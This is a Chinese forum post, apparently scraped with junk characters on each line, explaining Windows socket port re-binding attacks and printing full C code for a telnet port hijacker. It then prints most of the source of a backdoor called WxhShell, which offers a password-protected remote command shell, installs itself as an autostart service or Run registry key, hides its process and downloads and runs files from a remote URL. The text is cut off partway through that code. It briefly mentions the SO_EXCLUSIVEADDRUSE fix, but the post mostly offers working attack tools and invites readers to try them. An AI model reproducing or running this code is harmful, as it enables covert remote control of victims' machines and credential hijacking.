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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0B@Jity#!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p2udm!)J  
)5U[o0td  
  saddr.sin_family = AF_INET; Kt|1&Gk  
/_Z652@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); glXZZ=j  
+g]yA3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nMvKTH  
{0^&SI"5`E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GF%314Xu  
I{ :(z3  
  这意味着什么?意味着可以进行如下的攻击: .j>hI="b  
D{d>5P?W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )!:Lzi  
m"jV}@agX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q^L<X)  
(tGY%oT"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P(73!DT+  
oK%K}{`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hcbv;[bG  
V6#K2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S'B|>!z@  
Xo*%/0q'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dwd:6.J(  
P*Tx14xe4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7C2&NyWJ  
CL}{mEr}  
  #include @wC5 g 4E  
  #include i'wAE:Xe  
  #include g9WGkH F  
  #include    |{ PI102  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -!L"')  
  int main() X'% ;B  
  { QZhj b  
  WORD wVersionRequested; g HbxgeL  
  DWORD ret; 6 ]pX>Xho  
  WSADATA wsaData; -7&Gi +]  
  BOOL val; D<X.\})Md  
  SOCKADDR_IN saddr; D"ehWLj  
  SOCKADDR_IN scaddr; Xy &uZ  
  int err; V-r3-b  
  SOCKET s; <u:WlaS  
  SOCKET sc; M7+h(\H]2  
  int caddsize; ] 0m&(9  
  HANDLE mt; 3lq Mucr  
  DWORD tid;   TkO[rAC  
  wVersionRequested = MAKEWORD( 2, 2 ); 7ei|XfR  
  err = WSAStartup( wVersionRequested, &wsaData ); 3^ ~KB'RZ  
  if ( err != 0 ) { xOHgp=#D  
  printf("error!WSAStartup failed!\n"); [mr9(m[F  
  return -1; m7GR[MR  
  } u=/CRjot  
  saddr.sin_family = AF_INET; U*P. :BvG  
   *(>}Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dG71*)<)t  
}sFm9j7yR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Iu *^xn  
  saddr.sin_port = htons(23); {]]|5 \F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m&iH2|  
  { Tl|:9_:t  
  printf("error!socket failed!\n"); gxMfu?zk"  
  return -1; w L^%w9q-  
  } d@G}~&.|  
  val = TRUE; rf%7b8[v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \VFHHi:I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5 `RiS]IO]  
  { V$rlA' +1v  
  printf("error!setsockopt failed!\n"); JQ-gn^tsy  
  return -1; ~w;]c_{.b  
  } d4 (/m_HMu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~E^,=4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U"4?9. k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !'*csg  
~|AwN [  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r]Ff{la5  
  { @hImk`&[N  
  ret=GetLastError(); #vqo -y7@  
  printf("error!bind failed!\n"); ([V V%ovZ  
  return -1; $VQtwuYt  
  } =FT98H2*|  
  listen(s,2); n7YEG-J  
  while(1) VCcr3Dx()F  
  { ?[MsQQd~  
  caddsize = sizeof(scaddr); tD Cw-  
  //接受连接请求 `[YngYw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }O4se"xK  
  if(sc!=INVALID_SOCKET) Ep4Hqx $  
  { FHPXu59u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !HJ$UG/\  
  if(mt==NULL) AisN@  
  { [J0 v&{)?  
  printf("Thread Creat Failed!\n"); N8`4veVBx'  
  break; DF{ Qw@P!  
  } 6Ik,zQL  
  } leiW4Fj  
  CloseHandle(mt); N9rBW   
  } M8b4NF_&  
  closesocket(s); @v*/R%rv t  
  WSACleanup(); 5Fm=/o1  
  return 0; |uH%6&\  
  }   Px>va01n  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q9`QL3LQD  
  { M#@aB"@J>  
  SOCKET ss = (SOCKET)lpParam; 35*\_9/#  
  SOCKET sc; LN_OD5gZ  
  unsigned char buf[4096]; tB' V  
  SOCKADDR_IN saddr; f0LP?]  
  long num; ,[nm_^R*\  
  DWORD val; S-nlr@w8  
  DWORD ret; :9|W#d{o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j` /&r*zNq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [;b=A  
  saddr.sin_family = AF_INET; kV Rn`n0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /+3a n9h  
  saddr.sin_port = htons(23); N6[i{;K@N{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gj /3kS~@  
  { jUqy8q&  
  printf("error!socket failed!\n"); ? QDWuPhN  
  return -1; ]fI/(e_U  
  } S|GWcSg  
  val = 100; '?yCq$&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ab1/.~^  
  { FCc=e{  
  ret = GetLastError(); e|r0zw S  
  return -1; ARfRsPxr  
  } k 2%S`/:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G8Y+w  
  { cxYfZ4++m  
  ret = GetLastError(); ]> Y/r-!  
  return -1; @)8]e S7  
  } 7CB#YP?E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u.|~$yP.!  
  { EC?Efc+O  
  printf("error!socket connect failed!\n"); 5H:@ 8,B  
  closesocket(sc); Kt.~aaG_  
  closesocket(ss); ;#G%U!p  
  return -1; XL}<1- }  
  } L6i|:D32p  
  while(1) %E27.$E_  
  { ~-F?Mc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6b Z[Kt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #rYENR[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u; TvS |  
  num = recv(ss,buf,4096,0); WIh@y2&R  
  if(num>0) p11G#.0  
  send(sc,buf,num,0); Jll-X\O`-  
  else if(num==0) O hR1Jaed  
  break; G(1 K9{i$  
  num = recv(sc,buf,4096,0); c~dM`2J,  
  if(num>0) tO.$+4a  
  send(ss,buf,num,0); swpnuuC-  
  else if(num==0) "L2m-e6  
  break; :a< hQ|p  
  } } IlP:  
  closesocket(ss); ]5v:5:H  
  closesocket(sc); #cwCocw  
  return 0 ; I&1!v8  
  } px9>:t[P  
2go>  
1=Ilej1  
========================================================== oVB"f  
b5e@oIK  
下边附上一个代码,,WXhSHELL uiBTnG"  
I*1S/o_xI  
========================================================== :nQp.N*p  
RFG$X-.e  
#include "stdafx.h" "6I[4U"@  
s=EiH  
#include <stdio.h> ;>2#@QP  
#include <string.h> vg8O] YF  
#include <windows.h> BEw{X|7  
#include <winsock2.h> +CTmcbyOi  
#include <winsvc.h> }BN\/;<A  
#include <urlmon.h> F$hZRZ  
~r`Wr`]_z  
#pragma comment (lib, "Ws2_32.lib") S>ugRasZ$  
#pragma comment (lib, "urlmon.lib") B[xR-6phW  
Xi~9&ed#$i  
#define MAX_USER   100 // 最大客户端连接数 PX3  
#define BUF_SOCK   200 // sock buffer h}=M^SL  
#define KEY_BUFF   255 // 输入 buffer \OHv|8!EI@  
$+:(f{Va*  
#define REBOOT     0   // 重启 ` X+j2TmS  
#define SHUTDOWN   1   // 关机 nN ~GP"}  
[a8+(  
#define DEF_PORT   5000 // 监听端口 }#aKFcvg  
> x'bZ]gm  
#define REG_LEN     16   // 注册表键长度 =[(1my7  
#define SVC_LEN     80   // NT服务名长度 wR7aQg  
c d%hW  
// 从dll定义API _@ i>s,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AQci,j"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $ly0h W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0MpS4tW0=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~+m,im8}  
9)Yw :  
// wxhshell配置信息 6D9o08  
struct WSCFG { Tj,2r]g`<  
  int ws_port;         // 监听端口 v'nHFC+p  
  char ws_passstr[REG_LEN]; // 口令 if@W ]%  
  int ws_autoins;       // 安装标记, 1=yes 0=no iUNnPJh  
  char ws_regname[REG_LEN]; // 注册表键名 5a$$95oL  
  char ws_svcname[REG_LEN]; // 服务名 #O</\|aH)i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !s-/0ugZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w<d*#$[,*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &`PbO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VC=6uB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oO:LG%q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yH(V&Tv  
4Vx+[8W  
}; 9U10d&M(  
YY!!<2_  
// default Wxhshell configuration 9N}W(>  
struct WSCFG wscfg={DEF_PORT, =QiT)9q)  
    "xuhuanlingzhe", l @A"U)A(  
    1, !3KPwI,  
    "Wxhshell", z^~U]S3  
    "Wxhshell", ALR:MAXwC  
            "WxhShell Service", .!j#3J..u  
    "Wrsky Windows CmdShell Service", p}8ratmN  
    "Please Input Your Password: ", WTu{,Q  
  1, WLy7'3@  
  "http://www.wrsky.com/wxhshell.exe", B,0+HoP  
  "Wxhshell.exe" 3o7xN=N  
    }; B&nw#saz.  
v@,XinB[  
// 消息定义模块 N<b D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n1)'cS5}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gX"T*d>y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kv%)K'fU4  
char *msg_ws_ext="\n\rExit."; d H_2 o  
char *msg_ws_end="\n\rQuit.";  oUS ,+e  
char *msg_ws_boot="\n\rReboot..."; nh|EZp]  
char *msg_ws_poff="\n\rShutdown..."; Spc&X72I  
char *msg_ws_down="\n\rSave to "; W]~ZkQ|P  
2;R/.xI6v  
char *msg_ws_err="\n\rErr!"; W^ClHQ"Iy  
char *msg_ws_ok="\n\rOK!"; `1_FQnm)  
 . X0t"  
char ExeFile[MAX_PATH]; GG>Y/;^  
int nUser = 0; A[RN-R,  
HANDLE handles[MAX_USER]; eH `t \n  
int OsIsNt; 1Q_ ``.M  
7 NUenCdc  
SERVICE_STATUS       serviceStatus; WFpl1O73  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &"O_wd[+:  
Ei|0L$NCg  
// 函数声明 Zr R+QV  
int Install(void); Q^q=!/qQ  
int Uninstall(void); j%Gbg J  
int DownloadFile(char *sURL, SOCKET wsh); {"\q(R0  
int Boot(int flag); N  I3(  
void HideProc(void); *e,CDV  
int GetOsVer(void); YrKFa%k  
int Wxhshell(SOCKET wsl); 5EfY9}dl  
void TalkWithClient(void *cs); S r[IoF)  
int CmdShell(SOCKET sock); 9 G((wiE  
int StartFromService(void); z.A4x#>-  
int StartWxhshell(LPSTR lpCmdLine); k2wBy'M .'  
j>V"hf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =*[, *A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >VypE8H]x  
9$EH K  
// 数据结构和表定义 r)%4-XeV  
SERVICE_TABLE_ENTRY DispatchTable[] = %y3:SUOdx  
{ 5A;"jp^ Z  
{wscfg.ws_svcname, NTServiceMain}, K9LEIby  
{NULL, NULL} M;> ha,x  
}; cnC_#kp  
{!g?d<*  
// 自我安装 Xv]*;Bq:SK  
int Install(void) &(WE]ziuO  
{ uq]iMz>  
  char svExeFile[MAX_PATH]; 4=UI3 2v3  
  HKEY key; w8U2y/:>  
  strcpy(svExeFile,ExeFile); <xC: Ant  
Fv;u1Atiw  
// 如果是win9x系统,修改注册表设为自启动 vFR 1UPF  
if(!OsIsNt) { #[C< J#;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =sL(^UISl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6O%=G3I  
  RegCloseKey(key); cy9N:MR(c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cyDiA(ot&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~S! L!qY  
  RegCloseKey(key); -aA<.+  
  return 0; my=*zziN  
    } Y]?Kqc  
  } ]C+eJ0"A  
} [3GKPX:OA/  
else { -uO%[/h;N  
THb A(SM  
// 如果是NT以上系统,安装为系统服务 V5cb}xx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IOn`cbV:  
if (schSCManager!=0) %~ ;nlDw  
{ kA1f[ AL  
  SC_HANDLE schService = CreateService ,7QBJ_-;QJ  
  ( 3s#|Y,{?6R  
  schSCManager, @_G` Ok4  
  wscfg.ws_svcname, rK*hTjVn  
  wscfg.ws_svcdisp, m]E o(P4+  
  SERVICE_ALL_ACCESS, !Jh*a *I}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BllDWKb  
  SERVICE_AUTO_START, <r@bNx@T  
  SERVICE_ERROR_NORMAL, R A*(|n>  
  svExeFile, NEZH<#  
  NULL, I4A ;  
  NULL, !2/l9SUi  
  NULL, 1w(<0Be  
  NULL, =lYvj  
  NULL UU*0dSWr  
  ); A!n~8zcmp}  
  if (schService!=0) X9p+a,  
  { LqMe'z  
  CloseServiceHandle(schService); 7 _X&5ni  
  CloseServiceHandle(schSCManager); 5ENov!$H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4+BrTGp  
  strcat(svExeFile,wscfg.ws_svcname); C+}CU}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zUvB0\{q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%#th'C!P  
  RegCloseKey(key); 5R$=^gE  
  return 0; ;:-}z.7Y  
    } ?S+/QyjcfJ  
  } p{+tFQy  
  CloseServiceHandle(schSCManager); r[Zg 2  
} {\ A_%  
} ^[k6]1h  
K'>P!R:El  
return 1; l!xgtP K  
} IEKMa   
bEBZ!ghU  
// 自我卸载 h[vAU 9f)  
int Uninstall(void) ke{DFq h  
{ $Vd?K@W[h  
  HKEY key; qb#V)  
*g}vT8w'}  
if(!OsIsNt) { Ir'DA_..  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =MQ2sb  
  RegDeleteValue(key,wscfg.ws_regname); O e0KAn  
  RegCloseKey(key); M'pY-/.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7{?lEQ&UE  
  RegDeleteValue(key,wscfg.ws_regname); BBaHM sr  
  RegCloseKey(key); 54, Ju'r  
  return 0; .D>A'r8U  
  } \ x>NB  
} }xpe  
} F#zQQ)(Pf  
else { i4 y(H  
Lh8# I&x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); THegPD67J  
if (schSCManager!=0) s?1-$|*  
{ iPRJA{$b_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U"jUMOMZ;  
  if (schService!=0) <m|FccvQ  
  { Vs2v j  
  if(DeleteService(schService)!=0) { krnvFZRTQ  
  CloseServiceHandle(schService); !XG/,)A  
  CloseServiceHandle(schSCManager); { &6l\|  
  return 0; [346w <  
  } Th I  
  CloseServiceHandle(schService); $D0)j(v  
  } 0B#rqTEKu  
  CloseServiceHandle(schSCManager);  mP`,I"u  
} #t5JUi%in*  
} >d1aE)?  
55u^u F  
return 1; 1tuator  
} 4AG&z,[  
[qc6Q:  
// 从指定url下载文件 z{<q0.^EFh  
int DownloadFile(char *sURL, SOCKET wsh) Lx4H/[$6D  
{ l,~ N~?  
  HRESULT hr; ;NvhL|R  
char seps[]= "/"; 4cv|ok8P  
char *token; ]lG_rGw  
char *file;  xLGTnMYd  
char myURL[MAX_PATH]; RMs1{64:  
char myFILE[MAX_PATH]; A `H]q5d  
Z=1,<ydKV  
strcpy(myURL,sURL); jHUz`.8B  
  token=strtok(myURL,seps); :Kt mSY  
  while(token!=NULL) }J4BxBuV8  
  { |iF1 A  
    file=token; 7ZR0M&pX  
  token=strtok(NULL,seps); rK0|9^i{  
  } J}93u(T5  
~h~r]tV*+  
GetCurrentDirectory(MAX_PATH,myFILE); ZFd{q)qe   
strcat(myFILE, "\\"); `rRg(fCN!M  
strcat(myFILE, file); _YD<Q@  
  send(wsh,myFILE,strlen(myFILE),0); +eH=;8  
send(wsh,"...",3,0); (\AszLW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iIC9rso"Q1  
  if(hr==S_OK) 's%ct}y\J  
return 0; ir1RAmt%  
else Jq=>H@il  
return 1; Qcy+ {j]  
;_;H(%uY  
} NEjB jLJZ  
QRn:=J%W W  
// 系统电源模块 `cy"-CJS  
int Boot(int flag) @b(gjOE  
{ $4fjSSB~  
  HANDLE hToken; $;g%S0:3)  
  TOKEN_PRIVILEGES tkp; q0xE&[C[M  
Luu-c<*M  
  if(OsIsNt) { wMR[*I/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R?FtncL%D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YP@ ?j  
    tkp.PrivilegeCount = 1; CH|g   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vb4G_X0S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q@=#`746e  
if(flag==REBOOT) { !15@M|,OL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !IrKou)/_  
  return 0; e^ K=8IW  
} Yc( )'6  
else { A?<"^<A^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gJ}'O4*b  
  return 0; ;L/T}!Dx  
} m'vOFP)'  
  }  I$sm5oL  
  else { EXScqGa]  
if(flag==REBOOT) { G5Dji_|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c~u F  
  return 0; KfI$'F #"/  
} R,k[Kh  
else { ~S<F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [&k& $04_  
  return 0; %PNm7s4x2  
} > &  lg  
} %#;(]7Zq  
" kJWWR  
return 1; `5aypJf 1  
} eWt>^]H~  
E*#60z7F  
// win9x进程隐藏模块 "NI>HO.U  
void HideProc(void) d4rJ ?qw  
{ mfi'>o#  
,t,65@3+b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K,T]Fuy  
  if ( hKernel != NULL ) X+G*Q}5  
  { Vu8-Cy>Q?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?. 'oxW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rD)v%vvr&`  
    FreeLibrary(hKernel); ;|e 0{Jrz  
  } I<o4l[--  
~+NFWNgN  
return; \|4MU"ri  
} J}`$WL:  
)^a#Xn3z  
// 获取操作系统版本 [/`Hz]R  
int GetOsVer(void) GA@Q:n8UuR  
{ 70l;**"4  
  OSVERSIONINFO winfo; ~$`YzK^*X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p!5JO4F$  
  GetVersionEx(&winfo); < EE+ S#z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ZFK jj  
  return 1; T<~[vjA  
  else Hr.JZ>~<  
  return 0; e Eb1R}@  
} F1]PYx$X  
${H&Q*  
// 客户端句柄模块 (~yJce  
int Wxhshell(SOCKET wsl) Bd]DhPhJ  
{ C=f(NpyD6  
  SOCKET wsh; NNrZb?  
  struct sockaddr_in client; x@(f^P  
  DWORD myID; pt;Sk?-1  
Gb)iB  
  while(nUser<MAX_USER) Ud?d.  
{ mI*>7?  
  int nSize=sizeof(client); vxfh1B&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r}M4()9L  
  if(wsh==INVALID_SOCKET) return 1; 9'r3L)[  
;DWp>jgy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z Clm'X/  
if(handles[nUser]==0) S:T>oFUot  
  closesocket(wsh); n`2"(7Wj  
else 5 /VB'N#7s  
  nUser++; nylIP */  
  } A>,fG9pR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xg)FIaw]eT  
w9h5f  
  return 0; w)c#ZJHG  
} K>~cY%3^i  
,#FH8%Yf  
// 关闭 socket tQ<2K*3]  
void CloseIt(SOCKET wsh) Ji?UG@  
{ 4o8HEq!  
closesocket(wsh); M L_J<|,J  
nUser--; ;SP3nU))  
ExitThread(0); ZQ8Aak  
} Y2$`o4*3  
|?Uc:VFF  
// 客户端请求句柄 B_G7F[/K  
void TalkWithClient(void *cs) @Bwl)G!|  
{ !a&F:Fbm  
<%5uzlp  
  SOCKET wsh=(SOCKET)cs; #SUq.A  
  char pwd[SVC_LEN]; *qOCo_=P8  
  char cmd[KEY_BUFF]; @WE$%dr  
char chr[1]; *wx^mB9  
int i,j; E8 )*HOT_T  
&BR?;LD  
  while (nUser < MAX_USER) { XfDQx!gJ  
4v JIO{m  
if(wscfg.ws_passstr) { L(rjjkH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u _^=]K;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); he6) L6T  
  //ZeroMemory(pwd,KEY_BUFF); hkc_>F]Hx  
      i=0; ,4$J|^T&  
  while(i<SVC_LEN) { D1/$pA+B  
mw%_ yDZ{  
  // 设置超时 #&gy@!a~  
  fd_set FdRead; >FhBl\oIi  
  struct timeval TimeOut; lvffQ_t  
  FD_ZERO(&FdRead); <GEn9;\  
  FD_SET(wsh,&FdRead); Reo0ZU>  
  TimeOut.tv_sec=8; bp_@e0  
  TimeOut.tv_usec=0; ^)I:82"|?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zvj\n9H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aKO@_R,:  
vA`.8U 0S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qa6up|xUnn  
  pwd=chr[0]; 6R j X  
  if(chr[0]==0xd || chr[0]==0xa) { 5#PhaVc  
  pwd=0; [5-5tipvWp  
  break; +J9lD`z  
  } @YELqUb*  
  i++; FW,D\51pTP  
    } [x,&Gwa  
+V^_ksi\  
  // 如果是非法用户,关闭 socket RCr:2 Iz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NM]/OKs'H  
} hpu(MX\  
w8Yff[o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,8 seoX^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > %,tyJ~  
0Og =H79<  
while(1) { R >TtAm0N  
HN+z7Q8hH  
  ZeroMemory(cmd,KEY_BUFF); i^(<E0vS  
@U5o;X!qU  
      // 自动支持客户端 telnet标准   &V$R@~x  
  j=0; K"61i:F  
  while(j<KEY_BUFF) { "fdG5|NJe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %k_JLddlW  
  cmd[j]=chr[0]; ]Az >W*Y  
  if(chr[0]==0xa || chr[0]==0xd) { x,+zw9  
  cmd[j]=0; AyUVsIuPT=  
  break; *zcH3a,9"x  
  } cl:YN]BK  
  j++; X%sc:V  
    } c<=1,TB"-_  
})Jp5vv  
  // 下载文件 F`l1I=;  
  if(strstr(cmd,"http://")) { Kfh"XpWc$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BshS@"8r  
  if(DownloadFile(cmd,wsh)) wC19  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X+)  
  else W$W7U|Z9y+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " 1 Bn/Q  
  } s$Mj4_p3l  
  else { YeQX13C"Z  
H:`r!5&Qb5  
    switch(cmd[0]) { /T?['#:r-)  
  M1:m"#=  
  // 帮助 @m6E*2Gg  
  case '?': { J<2N~$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 28-@Ga4  
    break; "(5M }5D  
  } iMS S8J  
  // 安装 j JW0a\0  
  case 'i': { M:A7=rO~  
    if(Install()) 6i%)'dl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [30<  0  
    else MxYCMe4S[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _.j KcDf  
    break; _+GCd8d  
    } ;fuy}q8@7  
  // 卸载 ?D#Vha  
  case 'r': { OHB!ec6W  
    if(Uninstall()) {YkW5zC(L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | .PLfc;  
    else ^'}Td~(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,E_hG3}}  
    break; +m"iJW0  
    } "*UHit;"+{  
  // 显示 wxhshell 所在路径  #/n\C  
  case 'p': { T =:^k+  
    char svExeFile[MAX_PATH]; A2xORG&FD  
    strcpy(svExeFile,"\n\r"); DY1o!thz)  
      strcat(svExeFile,ExeFile); GDk/85cv0$  
        send(wsh,svExeFile,strlen(svExeFile),0); hI"I#(*jA%  
    break; }hGbF"clqg  
    } ce@(Ct  
  // 重启 do G&qXw  
  case 'b': { ZI1[jM{4^F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l?ofr*U&-x  
    if(Boot(REBOOT)) >J4_/p>Qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rK];2[U  
    else { Q?vGg{>  
    closesocket(wsh); IKpNc+;p  
    ExitThread(0); ^NP" m  
    } *F=w MWa  
    break; $"sf%{~  
    } #bnFR  
  // 关机 ^58'*13ZL  
  case 'd': { $AoN,B>  
